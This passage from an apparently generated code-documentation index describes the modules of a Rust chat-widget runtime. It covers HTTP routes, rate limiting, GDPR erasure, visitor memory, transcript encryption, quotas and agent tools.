bearer-gated `/v1/conversations` admin/runtime API. The widget runs on third-party pages and cannot hold a tenant bearer, so the route is unauthenticated but **widget-scoped**: the trusted `AgentConfig` is resolved server-side by `widget_id` (never sent from the browser; see [`crate::config_resolver`]). The visitor's consent in the body is the write-enable for persistent memory (§0.1 / GDPR Art 6). When the widget remembers + the visitor consented + a durable id resolves, the runtime recalls the visitor and seeds a returning-visitor preamble. Hardening (§0.2, all implemented): the public surface is gated by a per-widget origin allow-list + an HMAC request signature (see `embed_guard`) + a Turnstile challenge + a fixed-window rate limiter (see `http/rate_limit`). CORS is any-origin (widgets are third-party) and is NOT a security boundary — those four gates are. *embed-runtime/src/http/handlers/embed.rs:1* - **`agent-lite.http.handlers.health`** — GET /health — returns "ok" with HTTP 200. Unauthenticated, no rate limit. Wired from openalice-axum-common::health::health_handler so the implementation is shared with every other OpenAlice service. *embed-runtime/src/http/handlers/health.rs:1* - **`agent-lite.http.handlers.metrics`** — GET /metrics — Prometheus exposition-format endpoint. Exposes active conversation count and service-up gauge. Uses openalice-axum-common::metrics::MetricsBuilder + metrics_response so the response Content-Type is correct for Prometheus scraping. Since the openalice-axum-common http_metrics middleware was wired in, the response body also appends the global Prometheus recorder's text so a single scrape sees BOTH the existing agent_lite_* series AND the new http_requests_total / http_request_duration_seconds per-request series. *embed-runtime/src/http/handlers/metrics.rs:1* - **`agent-lite.http.handlers.visitors`** — GDPR Art 17 — visitor "delete my data" endpoints. DELETE /v1/embed/:widget_id/visitor/:visitor_id/memory — erase everything the runtime has stored for a visitor, scoped to the widget namespace (§0.1; see [`crate::memory`]). Unlike recall/remember this is NOT gated on the widget's memory tier or the visitor's current was withdrawn or the tier downgraded. Auth: requires `Authorization: Bearer ` like the rest of the surface — the request originates from the tenant's embed widget on behalf of the visitor. The bearer is validated; the visitor id is the anon/explicit id the widget holds for that visitor. DELETE /v1/embed/me?conversation_id=… — the VISITOR-facing erasure sibling. Public posture, authed exactly like the other visitor routes (`/v1/embed/conversations/:id/*`): the opaque conversation id minted by the session bootstrap IS the capability — only its holder can erase the visitor behind it. Erases visitor-memory rows (+ leads) AND the visitor's persisted transcripts, then returns an erasure receipt; the `tracing::info!` receipt line is the audit record (no new table). *embed-runtime/src/http/handlers/visitors.rs:1* - **`agent-lite.http.insights-experiments`** — Internal per-VARIANT A/B experiment insights over the EU-sovereign local ledgers. GET /internal/insights/experiments?widget_id=&experiment_id=[&days=] Auth: `X-Internal-Secret: ` — the SAME header + env the analytics / cost / sentiment endpoints use (scope-internal-auth-only), via endpoint is OFF (503) when `INTERNAL_SECRET` is unset, so it can never be reached unauthenticated. Mounted OUTSIDE the public rate-limited surface. Scoping: the widget's `tenant_id` is resolved server-side via the same `ConfigResolver` the embed routes use, so every aggregate is bounded by BOTH `(tenant_id, widget_id)` AND the supplied `experiment_id` — one customer can never see another's experiment, and only rows tagged with this experiment are counted (baseline / other-experiment traffic is excluded). Returns `Vec` (one row per assigned variant seen in the window). v1 reports RAW per-variant metrics + a `collecting_data` honesty flag (true when a variant has < 30 conversations) and computes NO p-values (statistical significance is a later phase — a misleading badge with N<30 is worse than none). The dashboard declares a winner only when the experiment is `done` AND `collecting_data=false` for every variant. *embed-runtime/src/http/handlers/insights_experiments.rs:1* - **`agent-lite.http.internal-conversations`** — Internal conversation-TRANSCRIPT read endpoints for the customer dashboard. GET /internal/conversations?widget_id=&limit=&cursor= → { "items": [ {conversation_id, started_at, ended_at?, message_count, visitor_tier?, preview} ], "next_cursor"? } (newest first) GET /internal/conversations/{conversation_id} → { conversation_id, widget_id, started_at, ended_at?, Auth: `X-Internal-Secret: ` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). Mounted OUTSIDE the public rate-limited surface; the secret is the capability. ── Never 500 ──────────────────────────────────────────────────────────────── When the transcript store is the default `NullTranscriptStore` (no DB / not wired) the list returns an EMPTY page and the detail returns 404 — the endpoint is never a 500. A real store error is logged + degraded to the same empty/absent result so the dashboard always parses a valid body. *embed-runtime/src/http/handlers/conversations_internal.rs:1* - **`agent-lite.http.kb-stats`** — Internal knowledge-base statistics endpoint. Queries the `rag_chunks` table for honest, directly-measurable tenant-level metrics. GET /internal/kb/stats?widget_id=&source_url= Auth: `X-Internal-Secret: ` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). The endpoint is OFF (503) when the RAG pool is not wired OR when INTERNAL_SECRET is unset — it can never be reached unauthenticated. The widget_id is resolved to a tenant_id via the config resolver (same path as /internal/analytics/summary) so an unknown widget 404s and one customer can never read another's chunk stats. Response (200 OK, application/json): { "total_chunks": , // rows in rag_chunks for this tenant "distinct_docs": , // COUNT(DISTINCT document_id) "last_indexed_at": , // MAX(created_at) "scope": "account", // honest label: stats are tenant-wide "source": { // present only when ?source_url= was "total_chunks": , // supplied — rows scoped to THAT url "last_indexed_at": }, "sources": [ // §kb-ultrawiki M1: per-source rollup { "source_url": , // one row per distinct source_url, "total_chunks": , // most chunks first (cap 200) — the "last_indexed_at": } // multi-source breakdown ] // in ONE call instead of N ?source_url= } HONEST OMISSIONS: - "coverage %" — not measurable from the chunks table alone (would require knowing the total document corpus size, which is not tracked). - "retrieval latency" — not stored anywhere; would require live probe benchmarks, which belong in a separate observability pipeline. SCOPING NOTE: `rag_chunks` has NO `widget_id` column. The account-level fields are therefore tenant-level, not per-widget — the `scope: "account"` field makes this explicit so the dashboard can label the panel honestly. `rag_chunks` DOES carry `source_url` (the ingester upserts by `(tenant_id, source_url, chunk_index)` — see `crate::rag_ingest` on the accounts side and `openalice_rag::RagRouter::purge_source`), so a PER-SOURCE count is honestly queryable for the one source type that has a stable url: the `brand_kb_url` website crawl (§per-source-kb-stats, dashboard audit 2026-07-08 finding #1 — the Knowledge page's Website row showed hardcoded "—/—" while file/text sources show real per-source counts from `widget_kb_uploads`). File/text uploads already carry their own `chunk_count` on their `widget_kb_uploads` row (embed-accounts); this `source_url` query is the website crawl's equivalent, queried directly against the SAME `rag_chunks` table the account rollup already reads — no new table, no new crate dependency. Never 500 — a store error is logged and 502'd; an unconfigured pool 503s. *embed-runtime/src/http/handlers/kb_stats.rs:1* - **`agent-lite.http.rate-limit`** — Fixed-window rate limiter for the PUBLIC `/v1/embed/*` widget surface (§0.2). Keyed by `(client_ip, resource)` so one abusive visitor on one widget can't starve the cluster's LLM quota, while legitimate traffic from other IPs / widgets is unaffected. Two interchangeable backends, selected once at construction (M2.1): - **In-memory** (default — `EmbedRateLimiter::new` / `with_window`): a per-instance sharded `DashMap` of fixed-window buckets. Zero deps beyond `dashmap` (already a dependency), perfect for dev / single-instance. - **Redis** (`EmbedRateLimiter::new_with_redis`, wired from `REDIS_URL`): a CLUSTER-SHARED fixed-window counter. Behind multi-instance scale-out the in-memory backend caps PER REPLICA, so the effective per-(IP,widget) cap is multiplied by the replica count — a real abuse exposure on this unauthenticated money-path endpoint. The Redis backend gives ONE counter all replicas increment, restoring the true cap. See [`RedisLimiter`]. Why hand-rolled (not `governor` and not the shared `oa_framework::rate_limit::TenantRateLimit`): - `TenantRateLimit` keys off the JWT `tid` claim. The embed surface is unauthenticated (no bearer), so there is no tenant to key on — we key on IP+widget instead. Reusing it would mean bypassing its whole auth-extraction path. - `governor` is a fine crate but pulls a non-trivial dependency tree for what is a ~60-line fixed-window bucket. `dashmap` is already a dependency; we reuse it for the sharded bucket map. Algorithm (BOTH backends, identical semantics): fixed-window token bucket. Each `(ip, resource)` key owns a bucket of `capacity` tokens that refills to full when the wall-clock `window` (default 60 s) since the bucket was last reset has elapsed. One token is spent per request; an empty bucket returns the seconds until the window rolls over so the caller can emit a `Retry-After` header. A sophisticated client could double-spend at window boundaries (bounded at 2× capacity), and Traefik's per-IP edge cap catches the pathological case. The Redis backend implements the SAME window with an atomic `INCR`+`EXPIRE` Lua script (see [`RedisLimiter::check`]) so two concurrent replicas can't race the counter past the cap. Fallback / availability (M2.1): the Redis backend carries a co-located in-memory limiter. A transient Redis error (timeout, connection drop, Lua failure) does NOT hard-error the visitor's request — it FAILS OPEN to the in-memory limiter, which still enforces a per-replica cap. We deliberately degrade to "per-replica limiting" rather than "no limiting": a Redis blip must keep the endpoint *available* (it's the money path) while keeping *some* abuse bound in place, never a blanket allow. When `REDIS_URL` is unset the limiter is in-memory from the start, so dev / single-instance behaviour is byte-for-byte unchanged. Memory hygiene (in-memory backend): buckets are pruned lazily on access (a bucket whose window fully elapsed is treated as fresh, so stale entries never block) AND a periodic background task drops idle buckets so the map can't grow unbounded under a churn of distinct IPs (see [`EmbedRateLimiter::spawn_pruner`]). Redis keys self-expire via the window TTL, so the Redis backend needs no pruner. *embed-runtime/src/http/rate_limit.rs:1* - **`agent-lite.http.router`** — Axum router builder for the agent-lite HTTP/WS service. Assembles the REST + WS route surface, applies CORS (wildcard for the Embed widget embed use-case) + request tracing via tower-http, and mounts all handlers from the handlers sub-module. CORS note: the Embed widget is iframe-loaded on third-party landing pages whose origins we cannot enumerate in advance. For the conversation routes we therefore allow any origin (*). The auth headers (Authorization: Bearer …) gate sensitive operations — CORS is not a security boundary here. Route surface: POST /v1/conversations POST /v1/conversations/:id/messages GET /v1/conversations/:id DELETE /v1/conversations/:id GET /v1/conversations/:id/stream (WS upgrade) POST /v1/conversations/:id/takeover (operator: human takeover) POST /v1/conversations/:id/operator-message (operator: send message) POST /v1/conversations/:id/release (operator: back to agent) POST /v1/embed/:widgetId/session (public visitor bootstrap) POST /v1/embed/conversations/:id/message[/stream] (public per-turn) GET /v1/embed/conversations/:id/events (public; live-takeover SSE) POST /v1/embed/conversations/:id/stt (public voice-in: audio→text) POST /v1/embed/conversations/:id/attachment (public; UNTRUSTED file upload) GET /v1/embed/attachment/:ns/:conv/:file (public; serve uploaded file) POST /v1/embed/tts (public voice-out: text→audio) GET /v1/embed/fillers?widget_id=… (public, cached "thinking" clips) GET /v1/embed/avatars (public VRM avatar catalog) GET /v1/vrm/tenant/:tenantId/:fileId.vrm (public; serve uploaded VRM) GET /v1/kb/tenant/:tenantId/:file (public; serve uploaded KB doc) DELETE /v1/embed/:widgetId/visitor/:visitorId/memory (GDPR Art 17) DELETE /v1/embed/me?conversation_id=… (GDPR Art 17; visitor-facing, receipt) GET /health GET /metrics GET /internal/cost/summary (X-Internal-Secret; cost ledger) GET /internal/analytics/summary (X-Internal-Secret; per-widget) GET /internal/insights/sentiment (X-Internal-Secret; per-widget) GET /internal/insights/intent (X-Internal-Secret; per-widget) GET /internal/insights/revenue (X-Internal-Secret; per-widget) GET /internal/insights/knowledge-gaps (X-Internal-Secret; per-widget) GET /internal/insights/experiments (X-Internal-Secret; per-variant) GET /internal/kb/stats (X-Internal-Secret; tenant-level chunk stats) *embed-runtime/src/http/mod.rs:1* - **`agent-lite.http.state`** — AppState wraps Arc and is the shared axum State type for all agent-lite HTTP handlers. Cheap to clone (Arc inside); safe to share across tokio tasks. The tenant_id for an authenticated request is injected at the handler layer from the bearer token (stub for MVP). *embed-runtime/src/http/state.rs:1* - **`agent-lite.http.tests`** — Integration tests for the agent-lite HTTP/WS server layer. Uses `tower::ServiceExt::oneshot` so no real TCP listener is needed — all requests are dispatched in-process, exactly like the existing conversation_test.rs pattern. Adapters: MockAdapter for LLM/STT/TTS — no live provider calls. Coverage: - POST /v1/conversations → 201 with conversation_id - POST /v1/conversations/:id/messages → 200 with reply - POST /v1/conversations without bearer → 401 - GET /health → 200 "ok" - GET /v1/conversations/:id for unknown id → 404 - DELETE /v1/conversations/:id → 204 then gone *embed-runtime/tests/http_test.rs:1* - **`agent-lite.http.voice-preview`** — Dashboard VOICE PREVIEW: `GET /internal/voice-preview?provider=&voice=` → a short FIXED phrase synthesised in that (provider, voice) → MP3. Auth: `X-Internal-Secret` (the dashboard's server-side proxy holds the secret; the /internal surface is NOT publicly routed). The fixed phrase means a leaked call can't synthesise arbitrary text. NOT charged to any tenant voice budget — it's a widget owner browsing the curated voice catalog (§voice-selector), not a visitor turn. *embed-runtime/src/http/handlers/voice_preview.rs:1* - **`agent-lite.http.webhook-deliveries`** — Internal DEAD-LETTER read + replay endpoints for the customer dashboard's webhook delivery-log / DLQ inspector (W1.8). GET /internal/widgets/{public_id}/webhooks/deliveries?limit= → { "items": [ {id, webhook_id, event, url, last_status?, last_error?, attempts, created_at} ] } (newest-first) POST /internal/widgets/{public_id}/webhooks/deliveries/{dlq_id}/replay → 200 {"replayed":true,"status":} on success (DLQ row deleted) → 404 when the id doesn't belong to this widget → 503 when the cost-ledger or tenants replayer is unconfigured → 502 when the target rejected the re-delivery (DLQ row kept; retry-able) Auth: `X-Internal-Secret: ` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). Mounted OUTSIDE the public rate-limited surface; the secret is the capability. OFF (503) when INTERNAL_SECRET is unset so it's never reachable unauthenticated. ── Why a read path ──────────────────────────────────────────────────────── `webhook.rs` already PERSISTS exhausted-retry deliveries to `webhook_dead_letters` (migration 0014) via `PgDeadLetterSink`, but nothing read them back — a brand could not see which deliveries had failed. This endpoint is the read half: openalice-tenants proxies to it owner-scoped (GET /me/widgets/{id}/webhooks/deliveries) and the embed dashboard renders the DLQ. The signing SECRET is never stored in the DLQ and never returned here — only the failed-delivery metadata + the signed body. ── Replay ───────────────────────────────────────────────────────────────── The replay endpoint re-delivers a DLQ entry in ONE attempt (no retry loop). On success the row is deleted; on any failure the row is kept and the caller can retry. The replay re-fetches the CURRENT signing secret from tenants (never from the DLQ row) and re-runs the SSRF guard on the stored URL. Scoping mirrors the list endpoint: the {public_id} path segment gates ownership — a caller cannot replay another widget's DLQ entry by guessing. ── Keying ───────────────────────────────────────────────────────────────── agent-lite dead-letters by the WIDGET's public id (the same id it fetches webhooks by), so `public_id` is the natural scope key. tenants resolves the owning widget's public_id from the JWT-authenticated request before calling here, so a caller holding the shared secret still can't read another tenant's DLQ by guessing — tenants enforces ownership first. ── Never 500 ──────────────────────────────────────────────────────────────── When the cost-ledger pool is absent (VISITOR_DB_URL unset, so the DLQ is never written) the list returns an EMPTY page — the endpoint is never a 500. A real query error is logged + degraded to the same empty result so the dashboard always parses a valid body. *embed-runtime/src/http/handlers/webhook_deliveries.rs:1* ### agent-lite/mailer - **`agent-lite.mailer.brevo`** — Transcript-email notifications via Brevo (transactional email API, §Slice 4). When a conversation ends, OPTIONALLY email the full transcript to a per-widget notification address the customer configures (`AgentConfig.transcript_email`). Activation is gated on BOTH: 1. the process-wide `BREVO_API_KEY` env var — read ONCE at startup; with no key the mailer is DISABLED (logged once) and every `send_transcript` is a graceful no-op (it NEVER errors a request path); and 2. the per-widget `transcript_email.enabled` flag + a valid `to_address`. SAFETY (load-bearing): sending is STRICTLY fire-and-forget at the call site (the conversation-end path spawns it detached). A send failure (no key, DNS, timeout, non-2xx) NEVER affects the conversation outcome, latency, or response. When the mailer is disabled OR the widget hasn't opted in, behaviour is byte-identical to a build without this feature. The Brevo HTTP shape: POST https://api.brevo.com/v3/smtp/email with header `api-key: $BREVO_API_KEY` and JSON `{ sender, to, subject, htmlContent }`. The reqwest client carries a 30s timeout (the lib-hardening lesson — never hold a connection open unbounded). *embed-runtime/src/mailer.rs:1* ### agent-lite/memory - **`agent-lite.memory.inmemory`** — `InMemoryVisitorMemory` — DashMap-backed visitor store for tests + single-pod dev. Upserts a `VisitorProfile` on `remember`, returns a clone on `recall`, drops it on `forget` (GDPR Art 17). Not durable across restarts — production swaps in a Redis (session) or Postgres (durable/identified) adapter behind the same `VisitorMemory` trait. *embed-runtime/src/memory/inmemory.rs:1* - **`agent-lite.memory.null`** — `NullVisitorMemory` — the stateless default. Recall is always `None`, remember is a no-op, forget reports nothing existed. This is what a Starter-tier / `MemoryTier::Null` widget runs with: agent-lite stays fully stateless unless a tenant opts into a higher tier. *embed-runtime/src/memory/null.rs:1* - **`agent-lite.memory.postgres`** — `PostgresVisitorMemory` — production Postgres-backed visitor store. Tables (see migrations/0001_visitor_memory.sql): - `visitor_profiles` — one row per composite key `{widget_id}:{visitor_id}`. - `visitor_facts` — append-only durable fact log, CASCADE-deleted on forget. Design notes: - Uses runtime `sqlx::query` / `sqlx::query_as` — NOT the `query!` compile-time macros — so the crate builds without a live DATABASE_URL in the environment. - PII redaction (`src/memory/redact.rs`) runs inside `remember` for all kinds except "lead" before any bytes reach Postgres. - GDPR Art 17 delete: `forget` deletes the profile row; `ON DELETE CASCADE` on `visitor_facts` removes all associated facts atomically. - EU-sovereign: only calls a local PG instance (configured via VISITOR_DB_URL); no data leaves the operator's infrastructure. *embed-runtime/src/memory/postgres.rs:1* - **`agent-lite.memory.redact`** — PII redactor for visitor-memory fact text. Masks emails, phone-like strings, and long digit runs (card / IBAN-ish) before they reach the Postgres store. The `"lead"` kind is explicitly exempted — lead entries legitimately carry an email or display name (that's their purpose). All other kinds are filtered. Patterns: - Email: user@domain.tld (RFC-5321 simplified) - Phone: optional country code + groupings of 3-4 digits separated by spaces, dashes, or dots; total digit count 7-15. - Long digit run: 12+ consecutive digits (card / IBAN payload / IBAN without spaces). Shorter runs (e.g. "3 items") are left alone. *embed-runtime/src/memory/redact.rs:1* - **`agent-lite.memory.visitor-trait`** — `VisitorMemory` — optional persistent per-visitor memory layer that resolves the landing-vs-brief contradiction (landing promises "remembers every visitor"; the brief defaults embed_mode to stateless). agent-lite stays stateless-first: the default tier is `Null`. Tenants opt a widget into a higher tier and the runtime recalls a returning visitor's profile. Consent-gated, retention- bound, GDPR-deletable (Art 17). NO device fingerprinting — visitor ids are anon (session/cookie) or explicit (email lead / host data-user). Same pluggable-trait shape as `BrandKnowledge`: a real Redis / Postgres store swaps in without touching call sites. *embed-runtime/src/memory/mod.rs:1* ### agent-lite/metrics - **`agent-lite.metrics`** — Process-global Prometheus counters + a latency histogram for the agent-lite runtime, rendered into the `/metrics` exposition body. The shared `openalice-axum-common::metrics::MetricsBuilder` only emits un-labelled gauges/counters and has no histogram support, so this module owns the labelled series + the embedding-latency histogram directly and renders them as Prometheus text that the handler appends to the builder output. Metric inventory (names are a CONTRACT — Grafana panels key on them): - agent_lite_llm_calls_total{provider,model} counter - agent_lite_rag_hits_total counter - agent_lite_rag_misses_total counter - agent_lite_embedding_latency_seconds histogram - agent_lite_jwt_failures_total counter - agent_lite_escalations_total{mode} counter - agent_lite_widget_installs_total counter ← pilot funnel: install signal - agent_lite_soft_stops_total{cause} counter ← pilot funnel: cap/balance blocks - agent_lite_human_handoffs_total counter ← pilot funnel: operator takeover - agent_lite_provider_errors_total{stage} counter ← pilot health: llm/stt/tts failures - agent_lite_anomaly_alerts_total{widget_id} counter ← S2 security: traffic-spike alerts fired All state is `OnceLock`-initialised process-global atomics / maps so the instrumentation call sites stay allocation-free on the hot path and need no plumbing through `AppState`. *embed-runtime/src/metrics.rs:1* ### agent-lite/modes - **`agent-lite.modes.brand`** — Brand mode system prompt — informational rep that answers questions about the company / products / mission with a soft conversion (newsletter, docs link). Lowest commercial pressure. *embed-runtime/src/modes/brand.rs:1* - **`agent-lite.modes.preset`** — Three mode presets — Sales / Support / Brand. Each is a system- prompt generator + behavioural envelope (escalation rules, tool surface, response style). Modes are deliberately small — they compose with the customer-authored persona_script rather than overriding it. *embed-runtime/src/modes/mod.rs:1* - **`agent-lite.modes.sales`** — Sales mode system prompt — friendly product expert, qualifies intent, captures lead info, gently pushes toward a CTA. Designed to compose with the customer's persona_script, not replace it. *embed-runtime/src/modes/sales.rs:1* - **`agent-lite.modes.support`** — Support mode system prompt — answer questions, resolve known issues, escalate unknowns. Conservative: never invent solutions, never promise refunds / SLAs. *embed-runtime/src/modes/support.rs:1* ### agent-lite/quota - **`agent-lite.quota.service`** — `QuotaService` — the usage-meter + quota-gate seam for the PRICING-V2 contract (landing at openalice.blal.pro/embed): * `consume` — per-MESSAGE recorder, called at the start of every accepted turn. Record-only since pricing v2: a visitor mid-conversation is NEVER cut (FAQ: "A soft stop, never a surprise bill"); the tenants side always answers allowed=true. * `start_conversation` — per-CONVERSATION meter + the SOFT-STOP gate, called ONCE at the embed session bootstrap. `allowed = false` ⇒ the conversation still opens but answers with [`soft_stop_reply`] (static, no LLM) — the visitor never sees billing language. * `voice_budget_remaining` / `add_voice_seconds` — the tenant-level synthesized-voice meter. The embed TTS path pre-flights the budget (spent ⇒ 204 No Content, the widget's existing text-only fallback) and accumulates the synthesized seconds after each synth. Same pluggable shape as `ConfigResolver` / `VisitorMemory`: - `NullQuotaService` (default) — records nothing, always allows. Used by the StaticConfigResolver / NullConfigResolver (no-tenants) deployments and dev so the demo is never metered. - `TenantsQuotaService` — HTTP to openalice-tenants `/internal/billing/*` (X-Internal-Secret), per `scope-internal-auth-only`. FAIL POLICY on a transport error (tenants down / unreachable), split by whether the call incurs cost: - `consume` (record-only) FAILS OPEN — never block a reply because the meter briefly hiccuped. - `start_conversation` + `voice_budget_remaining` (cost GATES) FAIL CLOSED — deny rather than hand out a paid LLM/voice call we cannot verify the tenant has budget for. The deny degrades gracefully (soft-stop static reply / text-only 204), it does not error the page. *embed-runtime/src/quota.rs:1* ### agent-lite/takeover - **`agent-lite.takeover.event-bus`** — Per-conversation realtime event bus for live operator takeover v1 (docs/design/EMBED_LIVE_TAKEOVER_V1). The ONE new realtime primitive the design adds: a lazy `DashMap>` the operator API publishes into and the visitor-facing SSE stream (`GET /v1/embed/conversations/:id/events`) subscribes to. ── Wire contract (must match openalice-embed + openalice-embed-app) ──────── Each [`ConvEvent`] renders as ONE named SSE event whose `data:` is the JSON produced by [`ConvEvent::data_json`]: ── Lifecycle ─────────────────────────────────────────────────────────────── - `subscribe` lazily creates the channel (capacity [`CONV_EVENT_CAPACITY`]). - `publish` is a no-op when no channel / no receivers exist — a takeover on a conversation whose visitor panel is closed costs nothing. - Channels for conversations with zero receivers are dropped OPPORTUNISTICALLY on the next publish (no background sweeper needed): the visitor closing the panel drops the last `Receiver`, and the next publish observes `receiver_count() == 0` and removes the entry. *embed-runtime/src/conv_events.rs:1* ### agent-lite/tools - **`agent-lite.tools.booking-api`** — Server-side accounts client for the S2 P0.5 chat booking tools (`browse_items` / `reserve_slot`) — Lily books in the dialog. embed-accounts owns the hosted page (widget_pages), the catalog shelf (blocks.shelves) and the booking calendar; the runtime reaches all of it through this narrow seam, mirroring the SecretFetcher / QuotaService pattern: - `NullBookingApi` — default; resolves nothing, so the booking tools are never offered (the no-accounts demo + tests keep their exact shape). - `AccountsBookingApi` — production; ONE X-Internal-Secret read (`GET /internal/pages/by-widget/{public_id}`, TTL-cached) gates + wires the tools, then the tools drive the SAME public surface the hosted page's own form uses (`/public/pages/{slug}` resolve + `/availability` + `POST /bookings` with `source: "chat"`), so slot math, capacity locking and validation stay in ONE place server-side. Everything returned here is DATA for the model — never instructions. *embed-runtime/src/tools/booking.rs:1* - **`agent-lite.tools.registry`** — The agent-lite tool registry — the server-side half of the ReAct loop. A `Tool` is a named, JSON-Schema-described, async-executable capability the LLM may invoke. The `ToolRegistry` owns the active (allowlisted) set for one conversation: it emits the llm-router `Tool` definitions for the request, and dispatches a model-emitted `ToolCall` to the right implementation by name. SECURITY MODEL (EU-sovereign, anti-stall): - ALLOWLIST: the registry only ever holds tools whose name is in the config `tool_allowlist`. A call for any other name is rejected server-side before execution (`tool_not_allowed`). - ARG VALIDATION: arguments are parsed + checked against the tool's required fields BEFORE execute. Invalid → a structured error result is fed back to the model, the tool is NOT run. - DATA, NOT INSTRUCTIONS: tool results are JSON observations returned to the model. They are never interpreted as commands by this layer. The eight v1 universal tools live in `universal.rs`; the accounts booking gateway (browse_items / reserve_slot) lives in `booking.rs`. *embed-runtime/src/tools/mod.rs:1* - **`agent-lite.tools.secret-fetcher`** — Server-side secret fetcher for the `perform_action` tool. When a client action declares `auth: { header, secret_name }`, agent-lite must inject the DECRYPTED secret value into the outbound request — but the value must NEVER enter the prompt, tool arguments, the model context, or logs. This trait is the narrow seam that fetches one decrypted value at the call boundary, mirroring the QuotaService / ToolAuditSink pattern: - `NullSecretFetcher` — default; always returns `None` (no secrets available). Used by the no-tenants demo + tests that exercise the no-auth happy path. - `TenantsSecretFetcher` — production; calls openalice-tenants `GET /internal/widgets/{widget_id}/secrets/{key_name}` over the shared `X-Internal-Secret` channel and returns the `{value}` payload. The fetched value is a [`SecretValue`] newtype whose `Debug` is redacted, so it can never accidentally land in a `tracing` line or panic message. *embed-runtime/src/tools/secrets.rs:1* - **`agent-lite.tools.universal`** — The eight universal v1 tools every agent-lite agent can be granted: search_knowledge — grounded RAG lookup over the brand KB (REAL). show_ui — render a structured UI element in the widget. navigate_page — offer a GUIDED NAVIGATION to another host-site page. escalate_to_human — initiate a human handoff. perform_action — STUB seam for future client MCP/API actions. capture_lead — write a STRUCTURED lead record from conversational intent (the agent-driven twin of the widget's own `POST /lead` contact-form endpoint). browse_items — the widget's REAL hosted-page catalog (S2 «Полки») so the agent answers "what do you offer / cost?" from data, never hallucination. reserve_slot — flow-aware chat booking: list a day's REAL free slots, then create the booking through the SAME accounts endpoint the hosted page's form uses (source: "chat"). The booking pair is gated on the widget having an enabled page with booking enabled — see [`super::booking::BookingApi`]. Each is a stateless unit struct; per-turn state arrives via ToolContext. *embed-runtime/src/tools/universal.rs:1* ### agent-lite/transcripts - **`agent-lite.transcripts.store`** — `InMemoryTranscriptStore` — DashMap-backed transcript store for tests + single-pod dev. Mirrors `PostgresTranscriptStore`'s observable behaviour (newest-first listing, preview from the first user message, ordered messages, retention purge) without a live DB, so the lib unit tests can exercise the full write → read → purge roundtrip. *embed-runtime/src/transcript/inmemory.rs:1* - **`agent-lite.transcripts.store`** — GDPR-guarded conversation TRANSCRIPT persistence + read surface. The dashboard wants to review past conversations (the full user/assistant transcript), but conversations themselves live only in the in-process DashMap and are dropped on end/idle. This module persists transcripts to the EU embed-visitor-db so the dashboard can list + read them, while keeping the privacy posture strict: ── GDPR posture (see migrations/0005_transcripts.sql) ─────────────────────── - OPT-IN per widget via `AgentConfig.transcript_retention_days`: default 90, `0` ⇒ do NOT store (no row ever written). The chosen retention is copied onto each conversation row at create time so the GLOBAL purge sweeper can enforce a per-widget retention from one DELETE. - Lawful basis = service improvement; the TENANT is the controller and the embed widget handles visitor disclosure (the session bootstrap surfaces `transcripts_stored` so the widget can show a disclosure line). - MINIMIZATION is by RETENTION + ERASURE, not redaction: content is the dashboard's value, so it is kept (not redacted). Erasure = the retention sweeper (cascade-deletes messages) + the existing visitor anonymize/forget path (GDPR Art 17). - ENCRYPTION AT REST (M2.3, GDPR Art-32): the durable `embed_messages.content` is AES-256-GCM encrypted (keyed by the cluster's `OA_SECRETS_MASTER_KEY`, the same secret the org uses for YT OAuth tokens + stream keys) on the WRITE path and decrypted on READ — REUSING the crate's existing [`crate::crypto`] envelope (the same `Cipher`/`seal`/`open` used for `embed_leads` PII; a verbatim mirror of the `openalice-tenants` org reference cipher). Stored values are self-describing (`enc:v1:`); legacy plaintext rows (no marker) and a dev/CI boot with no master key both stay readable verbatim (no bulk migration). The `InMemoryTranscriptStore` keeps content in-process and is NOT encrypted — it never reaches durable storage (no at-rest exposure). ── Design (mirrors the cost ledger + tool-audit sink) ─────────────────────── A `TranscriptStore` trait with three impls: - `PostgresTranscriptStore` — fire-and-forget writes onto a shared PgPool (the cost-ledger pool), so a slow/failed DB write never adds latency to or fails a conversation turn. Read paths (list/get) are awaited. - `NullTranscriptStore` — no-op (the default when no DB / disabled). All writes drop; reads return empty. - `InMemoryTranscriptStore` — a DashMap-backed store for tests + dev, supporting the full write + read + purge surface without a live DB. EU-sovereign: the Postgres store uses the same local instance as visitor memory + the cost ledger (VISITOR_DB_URL). No transcript leaves the operator. *embed-runtime/src/transcript.rs:1* - **`agent-lite.transcripts.store`** — `PostgresTranscriptStore` — production transcript store over the EU embed-visitor-db (same PgPool as visitor memory + the cost ledger). Tables (see migrations/0005_transcripts.sql): - `embed_conversations` — one row per conversation, with the per-widget `retention_days` copied in at create time for the global purge sweeper. - `embed_messages` — one row per persisted turn, CASCADE-deleted. Design notes (mirror PostgresVisitorMemory + PostgresCostTracker): - Runtime `sqlx::query` (not the compile-time `query!` macros) so the crate builds without a live DATABASE_URL. - WRITES are fire-and-forget (`tokio::spawn`) so a slow/failed DB write never adds latency to — or fails — a conversation turn (cost-ledger posture). READS (list/get) are awaited. - ENCRYPTION AT REST (M2.3, GDPR Art-32): two PII surfaces are AES-256-GCM SEALED at rest under the cluster `OA_SECRETS_MASTER_KEY` (the org's existing secrets key): * `embed_messages.content` — SEALED on write (`crypto::seal_content`), opened on read (`crypto::open_content`); the required-field helpers. * `embed_leads` PII — the four nullable columns `name` / `email` / `phone` / `message` are SEALED on write (`crypto::seal_opt`) in `record_lead` and opened on read (`crypto::open_opt`) in `list_leads`, the optional-field helpers. Attribution columns (tenant/widget/ conversation/visitor ids, retention) stay CLEAR so erasure-by- (widget, visitor) and the retention purge still work. None of the encrypted columns is ever queried/sorted/deduped (lookups are by widget_id / visitor_id / created_at only), so sealing breaks no equality or sort. Stored values are self-describing (`enc:v1:`); legacy plaintext rows + a no-key dev/CI boot stay readable verbatim (no bulk migration). The cipher is held as a single `Option` shared by both surfaces — `None` (key unset) ⇒ writes are plaintext, the crate's existing `Option`/Null degrade convention. Minimization is still via retention + erasure, not redaction. - EU-sovereign: only the local PG instance (VISITOR_DB_URL); no data leaves. *embed-runtime/src/transcript/postgres.rs:1* ### agent-lite/vision-safety - **`agent-lite.vision-safety`** — Isolated vision + content-safety analysis for visitor IMAGE uploads (§visitor-file-upload Phase 2). ## Why this is its own module (and NOT the shared llm-router) NAO's de-risking decision: the visitor's raw image is NEVER fed to the main conversational agent. Instead it is processed SEPARATELY, here, by a single one-off multimodal call whose ONLY outputs are (a) a binary safety verdict and (b) a short neutral text description. The main agent stays **text-only** and the shared `openalice_llm_router` (whose `Message.content` is a plain 